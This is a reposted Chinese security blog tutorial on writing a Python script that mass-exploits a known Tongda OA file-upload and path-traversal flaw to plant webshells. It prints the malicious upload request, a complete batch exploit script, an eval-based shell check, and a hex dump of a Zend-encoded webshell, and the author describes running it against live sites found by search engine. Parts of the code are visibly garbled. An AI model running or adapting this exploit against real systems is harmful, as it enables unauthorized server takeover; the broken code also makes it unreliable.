最新消息:

Python系列之——编写已知漏洞exp实现批量getshell

代码审计 Eternal 10648浏览 0评论

0x00 前言

前面一篇 Python系列之——zzcms漏洞挖掘到exp编写 相信大家应该都读过了

大家应该都觉得用程序实现自动化漏洞利用很爽吧

今天就来教一下大家怎么通过已知的漏洞编写exp

0x01 漏洞分析

以通达OA前台getshell为例(漏洞来自90sec论坛)

v2-51c8b9fa1ab9eaf568dae4c3c7db9504_r

 

论坛给出的exp讲人话就是 post一个文件、”type=addfile”和”other=}/../../../../{22″到”pda/apps/report/getdata.php”

变成代码就是

uploadFile = {'ATTACHMENT':open('shell.php','rb')} #需要zend加密后的php文件 
uploadData = {'type':'addfile','other':'}/../../../../{22'}

0x02 exp编写

接着就发送请求且判断shell是否被安全狗等waf杀掉

try:
        res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData)
        testData = {'nq':"echo 'You got a shell!';"}    #利用一句话里面的eval函数输出一段话用于判断shell可用性
        r = requests.post(shellPath,data=testData)
        if r.status_code == 200 and 'You got a shell!' in r.text:
                print shellPath
                opt2File(shellPath)

加上各种条件判断和异常处理后

def runGetshellExp(website):
        uploadFile = {'ATTACHMENT':open('shell.php','rb')}
	uploadData = {'type':'addfile','other':'}/../../../../{22'}
        try:
		r = requests.get(website)
	except:
		print 'Can\'t visit' + website
		return
	try:
                res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData)
                uploadResp = json.loads(res.text) 
                if uploadResp[0]['src'] is not None and uploadResp[0]['res'] == 'true':
                        shellPath = website + '/{22}_shell.php'
                testData = {'nq':"echo 'You got a shell!';"}
		r = requests.post(shellPath,data=testData)
                print r.text
		if r.status_code == 200 and 'You got a shell!' in r.text:
                       print shellPath
		       opt2File(shellPath)
	except:
		print website + ' Can\'t getshell'
		return

然后写入文件的函数= =(又写这个函数了)

def opt2File(shellPath):
	try:
		f = open('result.txt','a')
		f.write(shellPath + '\n')
	finally:
		f.close()

完整代码

#coding:utf-8
import requests
import json
def opt2File(shellPath):
        try: 
                f = open('result.txt','a') 
                f.write(shellPath + '\n') finally: f.close()

        finally:
		f.close()
def runGetshellExp(website):
            uploadFile = {'ATTACHMENT':open('shell.php','rb')} 
            uploadData = {'type':'addfile','other':'}/../../../../{22'}
            try:
		r = requests.get(website)
	except:
		print 'Can\'t visit' + website
		return
	try:
                res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData)
                uploadResp = json.loads(res.text)
		if uploadResp[0]['src'] is not None and uploadResp[0]['res'] == 'true':
                         shellPath = website + '/{22}_shell.php'
                testData = {'nq':"echo 'You got a shell!';"}
		r = requests.post(shellPath,data=testData)
                print r.text
		if r.status_code == 200 and 'You got a shell!' in r.text:
                       print shellPath
		       opt2File(shellPath)
            ept:
		print website + ' Can\'t getshell'
		return
websiteList = [
	'http://localhost:8080/', #站点列表
]
for i in websiteList:
	runGetshellExp(i)         

0x03 小试牛刀

本地搭建了个demo试了一下

v2-18eba5da5e0c0e1662d0c83b5dcd885a_r

 

又去Google了一些站点来试试脚本

v2-2904a08f0262a5a15e5f6299670be8d4_b

 

搜索引擎关键字我就不公布了 大家自己找吧

要是关键字找得好一点的话估计是可以拿一大波shell的

但请各位知友们还是点到为止 不要浪哟

0x04 附录

Zend加密后的shell.php(与脚本放同个目录下 密码:nq)

3c3f 7068 7020 405a 656e 643b 0a33 3037
343b 0a2f 2a20 0001 f121 5468 6973 2069
7320 6e6f 7420 6120 7465 7874 2066 696c
6521 deed 0020 202a 2f0a 7072 696e 7420
3c3c 3c45 4f4d 0a3c 2144 4f43 5459 5045
2048 544d 4c20 5055 424c 4943 2022 2d2f
2f57 3343 2f2f 4454 4420 4854 4d4c 2034
2e30 2054 7261 6e73 6974 696f 6e61 6c2f
2f45 4e22 3e3c 4854 4d4c 3e3c 4845 4144
3e3c 2f48 4541 443e 3c42 4f44 5920 4c41
4e47 3d22 656e 2d55 5322 2044 4952 3d22
4c54 5222 3e3c 4832 2041 4c49 474e 3d43
454e 5445 523e 5a65 6e64 2047 7561 7264
2052 756e 2d74 696d 6520 7375 7070 6f72
7420 6d69 7373 696e 6721 3c2f 4832 3e3c
503e 4f6e 6520 6d6f 7265 206d 6f72 6520
6669 6c65 7320 6f6e 2074 6869 7320 7765
6220 7369 7465 2077 6572 6520 656e 636f
6465 6420 6279 203c 4120 4852 4546 3d22
6874 7470 3a2f 2f77 7777 2e7a 656e 642e
636f 6d2f 7072 6f64 7563 7473 2f67 7561
7264 223e 5a65 6e64 4775 6172 643c 2f41
3e20 616e 6420 7468 6520 7265 7175 6972
6564 2072 756e 2d74 696d 6520 7375 7070
6f72 7420 6973 206e 6f74 2069 6e73 7461
6c6c 6564 206f 7270 726f 7065 726c 7920
636f 6e66 6967 7572 6564 2e3c 2f50 3e3c
4833 3e46 6f72 2074 6865 2057 6562 2073
6974 6520 7573 6572 3c2f 4833 3e3c 503e
5468 6973 206d 6561 6e73 2074 6861 7420
7468 6973 2057 6562 2073 6572 7665 7220
6973 206e 6f74 2063 6f6e 6669 6775 7265
6420 636f 7272 6563 746c 7920 746f 2072
756e 7468 6520 6669 6c65 7320 7468 6174
2069 7420 636f 6e74 6169 6e73 2e20 506c
6561 7365 2063 6f6e 7461 6374 2074 6865
2057 6562 2073 6974 6527 7361 646d 696e
6973 7472 6174 6f72 2f77 6562 6d61 7374
6572 2061 6e64 2069 6e66 6f72 6d20 7468
656d 206f 6620 7468 6973 2070 726f 626c
656d 2061 6e64 2067 6976 6520 7468 656d
7468 6520 5552 4c20 796f 7520 6172 6520
7472 7969 6e67 2074 6f20 6469 7370 6c61
7920 746f 2068 656c 7020 7468 656d 2069
6e20 6469 6167 6e6f 7369 6e67 2074 6865
7072 6f62 6c65 6d2e 3c2f 503e 3c48 333e
466f 7220 5468 6520 5369 7465 2041 646d
696e 6973 7472 6174 6f72 2f57 6562 204d
6173 7465 723c 2f48 333e 3c50 3e4f 6e65
206f 7220 6d6f 7265 2066 696c 6573 206f
6e20 796f 7572 2073 6974 6520 7765 7265
2065 6e63 6f64 6564 2077 6974 6820 5a65
6e64 2047 7561 7264 2e20 5468 6973 6d61
7920 6265 2074 6869 7264 2070 6172 7479
206c 6962 7261 7269 6573 2074 6861 7420
7765 7265 2070 726f 7669 6465 6420 746f
2079 6f75 2062 7920 616e 2049 5356 2e20
546f 616c 6c6f 7720 7468 6573 6520 6669
6c65 7320 746f 2070 726f 7065 726c 7920
7275 6e20 796f 7520 6e65 6564 2074 6f20
646f 776e 6c6f 6164 2061 6e64 2069 6e73
7461 6c6c 6f6e 6520 6f66 2074 6865 205a
656e 6420 6775 6172 6420 7275 6e2d 7469
6d65 206c 6962 7261 7269 6573 2e20 5468
6973 2069 7320 6569 7468 6572 205a 656e
644f 7074 696d 697a 6572 206f 7220 5a65
6e64 204c 6f61 6465 722e 2054 6865 2070
726f 7065 7220 6669 6c65 7320 6361 6e20
6265 2064 6f77 6e6c 6f61 6465 6420 6672
6f6d 3c41 2048 5245 463d 2268 7474 703a
2f2f 7777 772e 7a65 6e64 2e63 6f6d 2f67
7561 7264 2f64 6f77 6e6c 6f61 6473 223e
6874 7470 3a2f 2f77 7777 2e7a 656e 642e
636f 6d2f 6775 6172 642f 646f 776e 6c6f
6164 733c 2f41 3e2e 5468 6973 2073 6f66
7477 6172 6520 6973 2070 726f 7669 6465
6420 6672 6565 206f 6620 6368 6172 6765
2e3c 2f50 3e3c 503e 3c42 3e47 656e 6572
616c 2044 6973 636c 6169 6d65 723a 3c2f
423e 205a 656e 6420 5465 6368 6e6f 6c6f
6769 6573 2069 7320 6e6f 7420 7265 7370
6f6e 7369 626c 6520 746f 7468 6520 636f
6e66 6967 7572 6174 696f 6e20 616e 6420
7365 7475 7020 6f66 2077 6562 2073 6974
6573 2075 7369 6e67 205a 656e 6420 4775
6172 6420 7465 6368 6e6f 6c6f 6779 2e50
6c65 6173 6520 636f 6e74 6163 7420 796f
7572 2073 6f66 7477 6172 6520 7665 6e64
6f72 2069 6620 7468 6573 6520 636f 6d70
6f6e 656e 7473 2077 6572 6520 7072 6f76
6964 6564 6279 2061 6e20 4953 5620 6f72
2063 6f6e 7375 6c74 2079 6f75 7220 5a65
6e64 2047 7561 7264 2055 7365 7273 2047
7569 6465 2069 6620 7468 6573 6520 6669
6c65 7320 7765 7265 656e 636f 6465 6420
6279 2079 6f75 7220 6f72 6761 6e69 7a61
7469 6f6e 2e3c 2f50 3e3c 2f42 4f44 593e
3c2f 4854 4d4c 3e0a 454f 4d3b 0a65 7869
7428 293b 0a5f 5f68 616c 745f 636f 6d70
696c 6572 2829 3b0a 3f3e 0a0a 0b32 3030
3430 3732 3230 3300 0636 3535 3431 0004
3136 3300 0432 3732 0078 f90a 9f32 0c03
15fe 51a9 7929 0aae 79a0 8aa6 0858 9966
26e6 40bc 0651 cc6d 6862 6e6e 686a 686c
6e04 641b 189b 1999 9a59 020b 1470 8320
a534 37b7 522f 3125 a508 5aaf 3370 191a
9b18 199a 9b1b 814b 4290 5590 961e 38c7
3042 430a 9ab4 2fb0 4003 10e2 3cb0 98b2
0ad0 992c d0d4 c300 7188 2c07 588d 11b2
5ea8 4f8c 19d8 a091 131f e01f 1c02 f212
a444 05e2 bc42 3017 961c 419c ff0c f0a0
8406 a8ae 210a 1f00 d564 21d7 

本文转载经作者本人授权,未经授权禁止转载!

原文转自 : 奶权@米斯特安全团队

转载请注明:即刻安全 » Python系列之——编写已知漏洞exp实现批量getshell

您必须 登录 才能发表评论!

网友最新评论 (1)



合作伙伴